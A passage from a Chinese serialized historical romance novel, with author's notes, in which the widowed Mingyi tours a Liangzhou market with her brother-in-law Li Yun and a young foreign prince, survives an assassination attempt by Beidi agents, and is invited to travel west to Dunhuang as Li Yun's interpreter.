一行人整顿好出门,两架马车已经在外等候,明宜在仆从引领下,与白芷先上了其中一辆。 紧接着李赟便坐进来,她随口问:“南斯王子呢?” 李赟瞧他一眼,淡声道:“他与译人坐另一辆。” 明宜点点头,又问:“齐王殿下不一起?” “五郎昨日吃多了酒,眼下还在会周公。” 明宜轻笑了笑,又随口问:“阿兄今日没有其他庶务?” 李赟道:“招待好大宛使团便是这两日最重要的庶务,等送走了再说其他。”说着,又似想到什么似的,道,“这回还要多亏弟妹,不然这小王子出事,我只怕会有麻烦。” “阿兄不用客气,恰好碰到,也算是小王子运气好。” 李赟淡淡看着她:“说起来弟妹已经帮了凉王府两桩大忙。” 明宜不以为意地勾了下嘴角,因为启程在即,也便不再刻意拘谨,只随口玩笑般道:“难不成阿兄还要嘉奖我?” “本就应该。” 他说得太认真,倒是让明宜一时噎住,她下意识轻咳了声:“阿兄当真不用放在心上,何况我明日就要启程回京,你安排人送我们出凉州,就已经是最大的嘉奖。” “你是凉王府的人,护送你们本就是分内之责。” 明宜将话还给他:“那我为凉王府做点事,也是应该的。” 李赟似是愣了下,继而轻笑出声:“弟妹说得没错,本就是一家人。” 马车内一时静下来。 明宜心中暗想,明日自己便离开凉州,今生还不知有没有机会再见,这一家人实在有些荒谬。 她这会儿倒是有些庆幸,惠心公主不回凉州,自己安葬了李悆,以侍奉婆母理由,便能理所当然返回京城。 不然按着嫁鸡随鸡嫁狗随狗的道理,自己嫁给了李悆,便是李家人,而真正的李家是凉州这座凉王府,李悆不过是客居京城,按着礼俗,李悆过世,她其实应该留在凉王府,而不是京城那座没了男主人的侯府。 长久的沉默,让狭小的车厢显得有些尴尬。 明宜率先打破:“对了阿兄,昨日那两个刺客有下落了么?” 李赟回道:“楚飞已经带人查到点眉目,应该还未出城。” “那他们今日会不会再有行动?” “无妨,就怕他们不行动。” 明宜不用多问已经明了,难怪他亲自陪南斯出街,只怕是把南斯当诱饵,引蛇出洞。 她想了想又试探问:“这些年北狄一直这么不安份么?” 李赟沉默了片刻,才淡声道:“狄患一直都在,只是这近年更甚。一是大汗这两年病重,两个儿子为争可汗之位,急于立功。那鲁刺儿便是太子心腹,立了不少功劳。至于二儿子突涅小可汗,比起太子,更加好战,若是他夺取大汗之位,北狄定会再次挥兵南下。这也是我为何要去各种整顿军务,再去敦煌募兵。北狄休养生息多年,如今有骑兵至少十五万,而河西军力只得十万,且大部分驻在凉州城附近,若北狄挥兵南下,眼下的敦煌根本守不住。” 明宜本只是随口一问,不想他会对自己说如此仔细。 她想起从前跟在祖父身旁,对方教她读书识字甚至胡夷之语,但每每她问起朝堂政事,对方从来不与她细说,只告诫她这不是女儿家关心的事,她只得从书中窥得一二。 当然,更让她心惊的是,原来这片河西之地比自己预想得更凶险。 凉州破,大宁便危在旦夕。 她想了想道:“几年前,阿兄曾率兵与来犯的北狄大军,在玉门关开战,屠杀北狄军五万。如今阿兄主掌河西已八载,应该更有胜算。” 李赟却是扯了下嘴角,讥诮一笑:“那不过是坊间夸大其词罢了,当年那一战,乃是北狄见父亲过世,我又年少,北狄太子急于立功,率领三万人南下,并非五万。我率凉州军五万迎战,虽则大胜,凉州军也损失近两万,且让北狄太子逃了回去。”说到这里,他撩起眼皮,在暗光中看向对面的女子,轻笑道,“我没有三头六臂,也不是战无不胜,弟妹莫要信坊间传闻。” 明宜讪讪笑了笑:“我看阿兄是妄自菲薄。” 这话说出来,又不免有些好笑。 小凉王岂是妄自菲薄之人? 思及此,她不动声色瞧了眼对方。只见那张轮廓分明的脸,刀削一般的下颌,觑眼的模样,一丝一毫都是骄矜倨傲之色。 车内一时无话,幸而很快便抵达城中最热闹的南市。 马车还未停稳,便听得南斯的声音,亟不可待地传来。 “三娘子——三娘子——” 原本闭目养神的李赟,眉头微微一跳,撩开眼皮,伸手打起车帘。 果不其然,前方马车刚停下,南斯就跳下车,朝这边跑过来。 见探身下车的小凉王,颇有些敷衍地拱手笑盈盈行了个礼,然后便跑到另一边,伸手将帘掀起 倒是让转身准备打帘的李赟,手上落了空。 “三娘子。”南斯伸出手要扶明宜。 明宜也不好拂人好意,轻飘飘搭在对方手腕,轻盈地跳下车。 南斯满脸兴奋道:“我听译人说,这南市乃是凉州城最热闹的街道,四海之内的好东西,都能在这里买到。” 明宜昨日来过南市,虽然比不得京城,但作为东西商路上最大的一座城,能看到的好东西确实不少。 她笑道:“嗯,是有很多好东西,不过南斯王子此番是要去京城,买些路上用得上的东西便好,其他的倒是不用,长安比凉州只会多不会少。” 南斯用力头:“我主要是慕名来游览一番。” 两人边说边要抬步离开,几乎忘了旁边还有个小凉王。还是听到轻咳一声,明宜才反应过来,赶紧转头看向另一侧的男人,道:“阿兄,我们走吧!” 李赟嘴角勾了下,轻描淡写点头,不紧不慢走上前,跟在明宜另一侧—— 作者有话说:小王子算是清纯男高或男大? 提前更了,后天要上夹子,明天就不更了,攒攒收藏,看的人太少了,可谓是凄凄惨惨冷冷清清。 但没关系,俺们存稿多多,后天晚上十一点我会一口气更很多,绝不辜负追更的读者。 第28章 第 27 章 阿兄尽力而为 明宜暗中观察了下四周, 前后左右,共有十余身着便服的护卫,右手边是李赟, 身后跟着江寒和白芷, 倒是不用担心刺客。 南斯显然因为小凉王在侧,比她更放心。 第一次出远门的少年, 到了繁华大城, 看什么都新奇,一会儿这家店瞅一眼, 一会儿那家店瞧一瞧。 嘴巴也不愿停, 身边虽有译人, 却也不问, 只拉着明宜问东问西。 嘴上说了不买,逛了才几家店, 已经收了一堆, 跟着的两个随从四只手很快已不够用。 至于一旁的小凉王,也几乎被他抛至九霄云外。 “三娘子,那是什么店?”南斯指着前方一块牌匾。 明宜看到牌匾上“琳琅阁”三个烫金大字, 笑道:“应该是首饰店。” “走走走, 去看看。” 明宜惊讶道:“你要买首饰?” 南斯但笑不语, 神秘兮兮瞧她一眼,三步并作两步两步便进了那首饰店。 店中掌柜见一行人穿着打扮,非富即贵,赶紧迎上来招呼:“各位客观, 想要看点甚么?” 南斯转头对明宜道:“你让他把最好的首饰拿出来。” 明宜将他的话转达给掌柜。 掌柜忙点点头,拿了钥匙,将多宝阁的抽屉打开, 拿出一只红木匣,放在柜台上打开,笑眯眯道:“小郎君,这是我们琳琅阁最好的一套首饰,一簪二钗三步摇,乃是桃花鎏金碧玉簪,鸳鸯纹珍珠钗,双凤衔珠金步摇。” 别说是没见过世面的大宛小王子,就是自认见了些世面的明宜,看到这几样流光溢彩的珠宝,也是忍不住双眼一亮。 “真美!”南斯睁大一双猫儿眼惊呼出声,然后转头看向明宜满脸激动问道,“三娘子,你喜欢吗?” 明宜看着眼前的珠宝,下意识就要点头,但忽然又意识到什么似的,转头对上南斯的眸子,意识到对方要作何,正斟酌着如何回答。 南斯却并未继续等她的答案,已经看向她另一侧的李赟,笑道:“凉王殿下,你昨晚说,按着大宁礼俗,男女之间不能送贴身物品。那我买来这套首饰送给三娘子,以感激她的救命之恩,应该合乎规矩吧?” 李赟灰眸微微眯了眯,觑眼看向身旁的明宜。 虽然已有预料,但听到南斯说出来,明宜还是有些猝不及防,一时忘了翻译,只目瞪口呆般迎上那双灰眸。 还是李赟偏过头低声问旁边的译人:“南斯王子说什么?” 问的是译人,目光却依旧斜睨着明宜。 译人忙拱手转达南斯的话。 李赟眉头轻挑,望着明宜道:“弟妹喜欢这套首饰么?” 明宜有些哭笑不得:“首饰虽然美丽,但委实太贵重。何况真正救他的人是江寒和叶六,我不过是出了一点点绵薄之力,哪能收取这般贵重的谢礼?阿兄,你帮我回绝了南斯王子吧?” 不施粉黛的脸上,眉头微微蹙气,无奈的神色,无端生出几分俏皮生动。 李赟挪开目光,走上前一步,低头看向那木匣内璀璨夺目的首饰,淡声道:“嗯,确实很不错。” 南斯还睁大眼睛等着两人的回应,但两人谁都没回应。 李赟又似想到什么似的,道:“说起来,弟妹远道而来,我还未曾送过见面礼。” 原本因为南斯而有些无奈的明宜,闻言微微一怔。 李赟转头看向她,还上下打量她一眼,然后若有所思地点点头:“弟妹戴这套首饰应该很合适。” 明宜下意识道:“不用了阿兄。” 李赟问:“为何?” 明宜一时哑然,李赟乃是凉王,李氏的一家之主,送自己这个弟媳一份见面礼再寻常不过的事,自己也没有说不收的道理。 问题是人家南斯王子先看中,难不成你前脚让人别送,后脚自己买了送来? 但李赟显然并没觉得有何问题,明宜也不好直说,想了想,干脆随口找了个冠冕堂皇的理由:“这套首饰没有几十两银子下不来,如今北狄虎视眈眈,边关需招兵买马,凉王府正是用钱的时候,几十两足够买几万斤军粮,上百将士吃上一年。”她顿了下,又轻笑道,“何况我也并不缺首饰,光是阿玉送我的,我都戴不过来。” 李赟眸光微微跳动了下,轻勾了下嘴角:“嗯,即使如此,那这份见面礼我便不送了。” 一旁的南斯见两人你一句我一句说了一大串,也没回答他,急道:“三娘子,这套首饰当谢礼,可以吗?” 明宜还未说话,李赟先开口:“昨晚我说的话,有失偏颇,我们大宁,不仅男女之间贴身物品不能随便送,要贴身用的东西,也不能送,南斯王子的好意,我替弟妹心领了。这套首饰,弟妹不能收。” 这回那译人很上道,赶紧译给小王子听。 南斯一双睁大的绿眸,顿时暗淡了几分,看了看那匣子中的首饰,又看向明宜:“三娘子,那我怎样才能感谢你?” 明宜笑道:“你们使团有大宛特产,比如干果之类的,赠我一些便好。” 南斯有些嫌弃地点点头:“那怎么够?”忽然又想到什么似的,拍拍脑门,“对了,我带了几对琉璃杯,送给三娘子。” 这回明宜没再拒绝:“好啊,听闻大宛琉璃杯巧夺天工,能得南斯王子亲自赠送的,那肯定很好。” 南斯终于没再执着。 明宜也松了口气,下意识歪头看了眼李赟,朝他无奈地笑了笑。 这是她和南斯王子的对话,那译人自然没有译给李赟,但对方俨然猜到两人说了什么,只微微挑了挑眉。 几人从店里出来,日头已经挂在半空。 李赟道:“南斯王子,逛了这么久,应该也有些累了,不如先去吃些东西再继续?” 南斯听到明宜的转达,笑着点点头:“好啊!” 然而就在这一声落下,忽然一道箭矢,从对面楼上射下来,直直射向这位绿眸小王子。 “当心!” 李赟抓住明宜的手,往身后一拉,顺势抬脚,将南斯踹开。 南斯惊惶睁大眼睛,哎呦一声被踹出一米远,噗通一声摔在地上。 那箭矢则堪堪从他身侧擦过,钉入地面几寸。 吓得他也忘了疼,只心有余悸地拍拍胸口,对小凉王这一脚感激不尽。 与此同时,大宛护卫和王府侍卫,已经迅速挡在几人周围。 箭矢倒是没再飞来,却接着从那窗户,洒下来漫天白灰,又忽然在空中燃起,一时间漫天火光落下,烟雾四起。 李赟将明宜护在身后,沉声道:“屏住呼吸。” 明宜赶紧照做。 李赟一手拉着她,一手拽起地上的南斯往边上退。 哪知,一道身影伴随着浓烟,从天而降,手中一把长剑,直直朝南斯刺过来。 幸而楚飞挡在面前。 南斯赶紧紧紧贴在李赟身侧,紧紧抓住他的手臂。 然而楚飞和其他护卫一样,显然被这浓烟迷了眼,根本看不清楚那身影,只能勉强应对。 捂着口鼻的明宜,确实隐约认出那身影,正是昨日仙悦阁的胡姬。 她在烟雾中身形灵活,不受影响,显然是有备而来。 江寒上前帮忙,一剑将胡姬刺中在地。 就在江寒和楚飞两人,上前准备联手将人牵制时,原本嘈杂混乱的街道,响起一阵急促的马蹄。 “江寒!当心!”明宜轻呼出声。 伴随着马蹄声来,一道利箭从她和李赟跟前划过,射向江寒,江寒虽然避开,但还是没能完全躲开。 砰的一声,那箭直直钉进他的大腿,痛呼一声倒在地上。 明宜心头狠狠一震。 只是这一箭虽然快,但以小凉王的身手,应是有机会截下,为何他没有出手? 不过她也没心思多想。 因为此时,一匹马儿从浓雾中穿过,那马背上一道身影,弯身将地上的胡姬提起,丢在马背,卷起一阵狂风,几乎只是眨眼间,便从烟雾中绝尘而去。 只是掠过时,还歪头朝她看了眼。 那人面覆黑巾,只露出一双眼睛。 一双眸子下狭长漆黑。 “快追!”楚飞大声叫道。 附近很快冒出乌泱泱的凉州兵,朝那绝尘的马匹追去。 原本嘈杂的街道,随着烟雾散去,渐渐恢复平静。 南斯先是重重咳嗽几声,眼泪汪汪地深呼吸了几口气,终于松开攥紧李赟的手,后怕地拍拍胸口,又伸手摸了摸额头上并不存在的汗水。 与此同时,被李赟攥在手中的另一只手也挣脱开。 明宜重重呼吸了几口气,小跑到江寒身旁,忧心忡忡问道:“江寒,你怎么样?” 江寒痛苦地抱着大腿,满头冷汗,想摇头说没事,但显然有逞强嫌疑,只能喘着气道:“夫人不用担心,应该死不了。” 明宜不看不知道,一看吓了一跳,那箭直接穿过了对方大腿,可见力量之大。 江寒下意识要将箭折断,却被李赟制止:“别乱动!” 他在明宜声旁蹲下,眯眼检查了下伤处,眉头深深蹙起:“这个位置很危险,稍有不慎便会出血不止,流血身亡。”说着高声吩咐,“快送江侍卫回府疗伤。” 南斯攥着拳头,满脸愤怒叽里咕噜叫道:“又是北狄么?他们真是坏,凉王殿下,你一定要将北狄打得落花流水,再不能然他们到处作乱。” 李赟淡淡看了他一眼,点头嗯了声。 明宜随口道:“阿兄听得懂?” 李赟:“猜也猜得到。” 明宜撇了眼涨红脸的小王子。 倒也没错。 * 江寒虽然并无性命之虞,但那一箭实在是伤筋动骨,按着王府大夫所言,至少半月不得下床。 这意味着明宜原本定在明日的返京行程,不得不推迟。 从江寒房中出来,许是她面露愁色,只听身旁的李赟道:“弟妹无须担心,府中大夫乃军医出身,医治箭伤经验丰富,只要卧床悉心疗养,江寒定能恢复如常。” 明宜勉强一笑:“那就有劳阿兄费心了。” 李赟垂眸望着女人眉宇间那微微蹙起的痕迹,又轻描淡写说:“过两日我便要离开凉州去其余几州巡察军务,再去敦煌督办募兵,这一趟至少也要两三个月,府中事宜皆由荣伯打理,弟妹有任何需要,告诉他便好,护送弟妹出河西的护卫,荣伯届时也会安排。” 明宜微微一怔,想起先前周子炤说过他们要去敦煌募兵的事,原来这么快,不知为何,她心中莫名一宽,因为不能马上返程的阴翳,也不由自主散开了几分。 她微微舒了口气:“阿兄安心去忙庶务,不用操心我们这点琐事。” 李赟勾唇轻笑了笑,没再说什么。 用过夕食,月上柳梢。 明宜正喝着一碗凉州特有的热牛乳,脑子则忍不住想起白日那匆匆一瞥的狭长黑眸。 很熟悉,定是在哪里见过。 她努力回想着,忽然一双黑夜中的长眸,在脑海冒出来,蓦地与白日那双重合。 是那日黑松驿的北狄头领鲁刺儿! 这个发现让她一时心惊不已,这等危险人物竟然又潜入了凉州城? 白日那不怀好意的匆匆一瞥,让她有种预感,只怕此人隐藏于此,是对自己这个侯夫人还未善罢甘休。 如果李赟在将其抓获前离开凉州,那留在凉州城的自己,岂不是危如累卵? 原本她还觉得李赟过几日离开,会让自己在凉王府住得更自在,眼下却再不敢这么想。 比起被北狄人盯上劫走,与小凉王相处的那点不自在,就实在是微不足道。 这一夜,明宜可谓是忧心忡忡,以至于睡得都不太安稳,及至早上天刚亮,便悠悠转醒。 虽然今日的行程被搁浅,但大宛使团依旧如期出发。 用过早膳,听闻使团已经整装待发,她赶紧让人领着自己去了大门口。 于情于理,她也要去送行。 此时南斯正在与李赟和周子炤道别,只是明显地心不在焉,一双绿眸,翘首以盼般,一直往门内瞟。 当看到穿着一身月白长袍的明宜,从里面疾步行来,胡人少年蓦地喜上眉梢,高声挥手唤道:“三娘子——” 明宜跨过大门门槛,走上前朝几人拱手行礼,然后笑着看向南斯:“南斯王子,萍水相逢,后会有期!三娘祝尔此去长安,一路顺风!” 原本笑盈盈的南斯,忽然嘴角一撇,露出了个依依不舍的伤感模样,绿眸也蓦地染上了几丝红意。 昨日那侯府护卫受伤,他得知明宜无法与他们同行,心中顿时失望不已,眼下面对离别,更是一股惆怅不舍涌上心头。 他也并不掩藏,皱眉哽咽道:“今日与三娘子一别,还不知何时才能再见。” 明宜微微一怔,他们不过才相识两日,这异族小王子是不是太夸张了? 但她也没说什么,只想了想道:“王子在京城应是要停些时日吧,等我回京,若是王子还在,届时便能一叙。” 南斯闻言双眼顿时一亮,用力点点头道:“没错,我此番去大宁长安,除了带使团朝贡,也是要去学习大宁语言诗书,少则会客居一年,多着两年也说不准,等三娘子回京,我们有的是机会再见。” 明宜客套一笑:“那再好不过。” 两人言笑晏晏,旁若无人,实际上除了南斯身旁的译人,也没人能听得懂他们在说些什么。 明宜心知男女有别,说多了便不合礼数,于是拱手行了个礼,往后退了一步:“南斯王子,一路平安!” 说话间,余光瞥到旁边的李赟。 本只是不经意一瞥,却见对方双眸微垂,嘴角往下,是个显而易见不悦的表情。 虽不知是为何故,但明宜心下却是忍不住一悸。 南斯显然对此浑然不觉,一颗心只在眼下的离别和未来重逢来回跳跃,可谓是又悲又喜,他拱拱手,忽然又想到什么似的,垂眸看向自己腰间玉佩。 如今是大庭广众,他不好将这贴身玉佩送给明宜,但总要给对方送点什么,以表心意。 他想了想,双眼忽然一亮,从袖中取出一枚小小的符牌,捧在手中,上前一步,递到明宜跟前,激动道:“三娘子,这是我们大宛王族的符牌,所有在外的大宛人,见此牌如见王,我现在将它赠予你,若是你遇到大宛人,需寻求帮助,拿出此牌便好。” 明宜想不出自己什么需要求大宛人,但见此牌不过寻常铜制,并不贵重,又见南斯满脸期盼,自己毕竟救过对方一命,若是不收点谢礼,只怕对方心里会一直纠结此事,便大大方方将符牌接过,笑道:“南斯王子有心了,那我也不好客气。” 南斯见她收下符牌,顿时眉开眼笑地作揖道:“三娘子,我们后会有期。” 这小片刻下来,他一心只在明宜身上,这会儿才意识到冷待了他人,又赶紧补救似的,朝李赟和周子炤行了行礼:“多谢凉王殿下这几日的款待,两位王爷,后会有期!” 不等译人翻译,李赟已经拱手,敷衍般勾了勾嘴角:“南斯王子,一路平安。” 周子炤也赶忙笑眯眯附和:“王子一路平安!” 南斯点点头,又依依不舍地看了眼明宜,这才一步三回头地转身上了马车。 “三娘子,后会有期!” 马儿哒哒迈步启程,待车子行了几米,南斯忽然又打开车帘,回头看向门口的明宜,红着眼睛高声唤道:“三娘子,再会——” 那声音竟是带了点哭腔。 明宜:“……” 是不是太夸张了点? 及至马车消失,她才重重舒了口气,又不由自主低头看了眼手中符牌。 因是对这符牌有些好奇,便不由看得有些出神,后知后觉才意识到,似乎有一道目光正盯着自己。 她蓦地抬头,果然对上李赟那双灰眸。 “阿兄——”她下意识唤道。 李赟目光从她眼睛缓缓一路往下,滑过鼻尖嘴唇,最终落在她手中的符牌,淡声道:“河西一带有不少大宛商贾,这符牌或许是有些用,弟妹好好保管着,日后兴许真能用上一二。” 明宜闻言,颇以为然地点点头,小心翼翼将符牌塞进袖袋中。 李赟见状,眉头不着痕迹蹙了蹙。 而就在此时,已经踅身进院的周子炤,见两人还杵在门口,回头随口道:“你俩怎的还不进来?” “嗯。”李赟转身施施然进门。 明宜反应过来,也赶紧跟上,想起忧心一夜的事,试探问道:“阿兄,昨日那北狄刺客有下落了么?” 李赟瞥他一眼,道:“只抓到那日在仙乐居受伤的胡女,其余人还未有下落。不过……” “不过怎样?” 李赟:“根据那胡女所供,昨日当街救走那女刺客的男子,应就是北鲁刺儿。” 果然! 明宜又道:“他上次才被你追击,如今竟又潜入凉州城,真是胆大包天。” “不仅胆大包天,确实有些本事,难怪能成为北狄第一勇士。” 明宜道:“不知他是否还在城中?” 李赟摇头:“尚不得而知。”说着又淡声道,“他既然敢冒险入凉州城,只怕目的并非大宛王子,而是对上回让弟妹逃脱一事不甘心。” 他的推测,与明宜所想不谋而合。 明宜还未说话,前面闻言的周子炤忽然咋咋呼呼惊呼道:“什么?那鲁刺儿是为三娘子而来?那三日后我们离开凉州,三娘子独留王府,岂不是很危险?” 李赟那张俊美冷冽的脸上,难得浮上一丝难色:“若是三日之内,能抓住那鲁刺儿,那便可放心。怕就怕启程时,人还未有下落。”顿了下,又补充一句道,“而行程已定,各州刺史也都已收到消息,只怕没法更改。” 明宜赶紧道:“庶务当先,阿兄不用操心我的事,凉王府这么多守卫,只要不出门乱跑,应当没事。何况……”说到这里她顿了顿,“以阿兄的本事,只要那鲁刺儿还在城内,我相信三日内,定能将人抓到。” 李赟笑了笑:“阿兄尽力而为。”—— 作者有话说:今天三更粗长哈~有存稿就是这么任性 第29章 第 28 章 阿玉将心爱之物都留给…… 但显然那鲁刺儿比想象中更加狡猾, 接下来两日,明宜每天至少差人去打三四次,得到的都是尚无任何消息。 金乌西坠, 又是一日过去。 王府小厮忽然过来传话, 说王爷有请她去一趟翰墨堂。 翰墨堂乃是凉王书房,明宜想着或许是那鲁刺儿有了下落, 赶紧跟着人出门。 这会儿翰墨堂里, 除了李赟,周子炤也在。 明宜走入门内, 对两人行了礼, 上前道:“阿兄, 是那鲁刺儿有消息了么?” 李赟不置可否, 那张俊美的脸在烛火中影影绰绰,隐约透出几分严峻。 他拿起手中信笺, 递给明宜:“弟妹, 你看看这个。” 明宜接过信笺,看到上面一行蚯蚓一样的文字,眉头不由得心头一跳, 急急问道, :“阿兄, 这是那鲁刺儿留下的?” 李赟点头:“是王府侍卫发现他踪影时,他留下这个,信封上写着转交给侯夫人。”顿了下,又补充一句, “你应该认识上面的字。” 明宜确实认识这些字,正是北狄文。 上面的内容也很简单,译作汉字大概便是:惊鸿一瞥, 势在必得。 这分明是赤裸裸的调戏与挑衅。 她正有些羞愤交加,一旁的周子炤好奇问道:“三娘子,这鲁刺儿到底写了什么?表兄也不跟我说。” 明宜回过神来,有些尴尬地看向李赟,只听对方面无表情回道:“是说他盯上了侯夫人,要将人抓走。” 这解释倒也没错, 周子炤皱眉啐道:“这北狄蛮子真是嚣张。” 明宜也不由得蹙起眉头,问道:“既是寻到那鲁刺儿的踪迹,还是让他逃掉了么?” 李赟道:“他行事诡谲武艺高强。”说着又自嘲般一笑,“不过这件事上,确实是我无能。” 明宜微微一怔,忙道:“阿兄言重了,此人定是有备而来,一时片刻抓不住他也在情理之中。” 毕竟上回小凉王亲自出手,也让那鲁刺儿逃掉。这样看来,若是等小凉王离开,自己在明,对方在暗,只怕是真有些麻烦。 周子炤若有所思道:“这么说那鲁刺儿当真是一心想掳走三娘子。”说着又耸耸肩,不屑道,“北狄人向来爱干掳人妻女的事,而表兄未曾娶亲,姨母又在京城,如今三娘子便是凉王府最重要的女眷,他把主意打在三娘子身上也不足为奇。以他这神出鬼没的风格,只怕三娘子如今返京也不安全,他定会在出凉州的路上设伏。” 李赟轻笑了声:“难得你能考虑这么多。” 周子炤啧了声,吊儿郎当道:“虽然我不懂军务和朝堂的事,但毕竟也是皇家子,这点道理还是能想到的。” 李赟朝明宜伸出手。 明宜愣了下才反应过来,赶紧将手中信笺递给他。 男人接过信笺,放在那微微跳动的烛火上点燃,顷刻间,一张信笺便化为灰烬。 片刻后,又才轻描淡写开口:“这鲁刺儿如此嚣张,弟妹无论是独自留在王府,还是返程回京,我这个做兄长的都很难放心。” 一旁的周子炤也愁眉苦脸唉声附和,抬头见明宜神色却只略带惊惶,不由问道:“三娘子,你不害怕么?” “自然是怕的。”明宜面露苦笑,继而又道,“不过凉王府守卫森严,外人想进来掳人应该没那么容易。” 周子炤忽然一拍大腿,双眼一亮,看向李赟道:“表兄,咱们此番去敦煌,那边胡狄异族繁多,语言混杂,若是有擅番语者同行,想来方便许多。”说着又看向明宜,“三娘子正好擅番语,不如就同我们一起去敦煌,有我们英明神武的小凉王坐镇,那鲁刺儿定然没办法对三娘子你下手。” 明宜先是一愣,继而又有些好笑,从凉州城到敦煌,近两千里的路程,沿路除了城池,更多的是草原戈壁沙漠,敦煌更是流民泛滥,她可不认为跟着李赟去敦煌比待在凉王府安全。 因而她只当对方是在说笑,抬头看向李赟,却发觉对方蹙眉沉思,显然是在考虑这个提议。 “阿兄……”明宜迟疑着唤道。 李赟撩起眼皮看向她,沉声道:“五郎说得很有道理。” “那是!”周子炤得意地抬抬下巴。 明宜闻言失笑道:“凉州城驻兵五万,应该是整个河西最安全的地方,那鲁刺儿都胆敢潜入,出了凉州一路往西北,他定然会更肆无忌惮,他若真想对我下手,只怕防不胜防,依我看还是在王府更安全。” 李赟眉头一挑:“弟妹这是不相信本王?” 明宜一愣。 李赟又道:“弟妹是不觉得本王没有本事护你周全?” 明宜反应过来,赶紧摇头道:“阿兄误会了,我不是怀疑阿兄的本事,只是觉得暂时待在府中更安全,那鲁刺儿既是叶护,便不可能一直在凉州,只要小心防备,待江寒伤愈,他应该也已经离开,我们届时便可安心出凉州回长安。” 李赟神色莫测,勾唇轻笑一声:“看来弟妹还是不相信我。” 周子炤忙打圆场般道:“三娘子,我们此次西行,带有数十精卒,皆是河西军中翘楚,个个武艺高强,还有十几个暗卫,沿途又有屯兵。那鲁刺儿潜入河西,身边定然不敢带太多人,那日黑松驿只怕已经是极限。何况表兄本事你又不是不知道,他既能已一己之力守住整个河西,难不成还护不住三娘子你一人?”说着又面露愤然之色,“我看那鲁刺儿也不过是鼠雀之辈,真露了面,表兄一刀便能解决他!” 这位五殿下显然对其表兄有着盲目崇拜,不想让明宜对李赟有一丝半点的怀疑。 然而明宜只是就事论事,并非怀疑小凉王的本事,也正因如此,心底才会对李赟有所忌惮,只想敬而远之。 可现在两人竟然提议她跟着人去千里之外的敦煌,这一来一回快马加鞭也要近一月,加上督军募兵,只怕至少要两个月。 这河西一带不比京城,天知道会遇到何事? 周子炤又道:“莫非三娘子是害怕?”说着撇撇嘴,随口道,“我还以为你很有胆识呢。” 明宜面上露出一抹无奈之色,顺着他的话道:“三娘一介女流,能顺利来到凉州已用尽平生最大勇气,哪里还敢去敦煌?” 她说这话时,垂眸敛眉,确实是寻常怯弱女子的模样。 周子炤朝李赟摊摊手:“表兄,你瞧我好不容易想到个两全其美的办法,可惜三娘子不认同。” 李赟拿起桌上那枚小小的烛心剪,轻轻剪断烛火残心,静谧的夜色中,发出低低的一声轻响,烛火也随之微微跳动了下。 明明对方剪的是烛心,可不知为何,明宜却觉得那剪刀像是在自己心口划了道,让她的心莫名跟着一跳。 李赟望着灯芯轻笑道:“弟妹有所顾虑也是情理之中。”他似是沉吟片刻,又才指着桌上那堆信笺灰烬,叹息一声道,“可是鲁刺儿的这封信,又实在是让本王不放心将弟妹留下。阿玉才过世不足两月,若是知道我让弟妹深处危险之中而不顾,只怕在泉下也不能安息。” 听他提起李悆,明宜不由得抬眸再次望向他。 男人对上她的杏眼,不紧不慢继续道:“本王觉得五郎提议尚可,也并非是觉得弟妹与本王出行,比待在凉王府更安全,而是确实有私心。” 他语气带着意味深长,眼神又带着几分诡秘莫测,明宜一时摸不透他的意思,心中不由有些惴惴不安 李赟望着她略顿了下,又才继续:“凉州多武夫而少文士,本王身旁素来缺贤才谋士。此番西行,事关凉州未来大计,而本王除了略懂一些北狄语,并不通其他番语,必然要带译人同行。但凉州译人多是异族流民或商贾出身,且不说一些庶务机密之事不便道与外人,就算译人可信,但只懂番语不懂其他,与我来说也无多益处。而弟妹乃与我是一家人,又自小得宋太傅亲授,定然学识匪浅,又通晓诸多种番语,识得北狄文字。若能随同西行,定能帮上我大忙。”顿了下,又补充一句,“当然,此次西行事关河西安危存亡,弟妹帮的也不是我和凉王府,而是所有河西河山和百姓。” 明宜不料他会如此郑重其事,半晌才反应过来,忙不迭作揖讪讪道:“阿兄说笑了,祖父虽是太傅,但我一介深闺女子,哪谈得上什么学识,至于番语也只略懂皮毛,阿兄此行如此重要,让我做同行译人,只怕是贻笑大方。” 说是这样说,但作为女子,人生第一次不是被用嫁人相夫教子来衡量价值,而是与男子一样,用于百姓与江山。 她从小勤学,不就是为了不逊于男儿,然而随着长大,却不得不接受,女子只能囿于后宅的现实,如今她有一个在后宅之外证明自己的机会,要说不动心定然是假的。 “谁敢笑本王?”李赟挑眉哂笑。 明宜一时哑然。 李赟继续道,“当然,本王并不是要勉强弟妹。只是等江寒能长途跋涉,恐至少月余。弟妹是真想诚惶诚恐待在王府,还是趁此机会去见识一番河西大好河山与风土人情?全看弟妹自己。”他顿了下,又补充一句,“我们后日启程,弟妹还有一日可好好考虑,明日此时再来给我答复。” 说罢他抬起袖子,轻飘飘将桌上信笺灰烬拂过。 明宜知道他不欲多说,便作揖道:“嗯,那阿兄五殿下早些休息,三娘就不打扰了。” 说罢便退了出去。 周子炤目送她出门,又转过头看向案内的李赟,眨眨眼睛嘻嘻笑道:“表兄,你真想让三娘子随我们西行?” 其实他刚刚也就是随口一说,没想到对方竟然如此郑重其事。 三娘子毕竟只是个女子,还当真能为山河百姓作何? 李赟不置可否地挑挑眉头:“夜深了,五郎你也该回去歇息了。” 周子炤摊摊手:“好吧,你也早些休息。” * 回到芙蓉苑歇下的明宜,却是久久没能阖眼。 李赟那番话始终在脑中盘桓,幼时祖父虽教自己学问,却不喜自己多问朝堂事天下事,让她读诗书,也不过是为将来嫁个好人家。 至于父亲口上必称女子无才便是德,绝不许女儿们抛头露面。 若李赟让自己随行,只是为护自己周全,不让那鲁刺儿近身,她定绝不会考虑,可他说的竟是让自己做一个可辅佐他的译人。 他可是权倾一方的小凉王,如何会对一个女子说出这话? 何况两人相识也不过十余日,他如何就能看出自己心底所欲?又如何就相信自己能做好这译人? 原本她费尽心机与李悆成婚,只是为自己谋得一个安稳自由的余生,但再自由也是在高墙之内,如今却有一个机会,让自己堂堂正正行走在高墙之外,去见男子才能见到的世界,去做男子才能做的事。 哪怕李赟此人危险至极,最好便是敬而远之,但明宜还是得承认,对方的话让她动摇了。 “白芷——” 辗转反侧半晌,始终睡不着,明宜忍不住唤道。 白芷倒是睡得不错,一连唤了三声才醒来。 “娘子,你在唤我么?” 明宜道:“你想不想去敦煌,再多见识一番河西风土人情?” 白芷终于清醒了几分:“娘子,你想去敦煌?你不是说河西危险,还是早些回京城更安心么?” 明宜默了片刻道:“难得出来一趟,若是因为怕危险,放弃更多见世面的机会,倒是有些因噎废食了。” 白芷想到什么似的,蹭地坐起来:“所以娘子是要跟王爷他们去敦煌?” 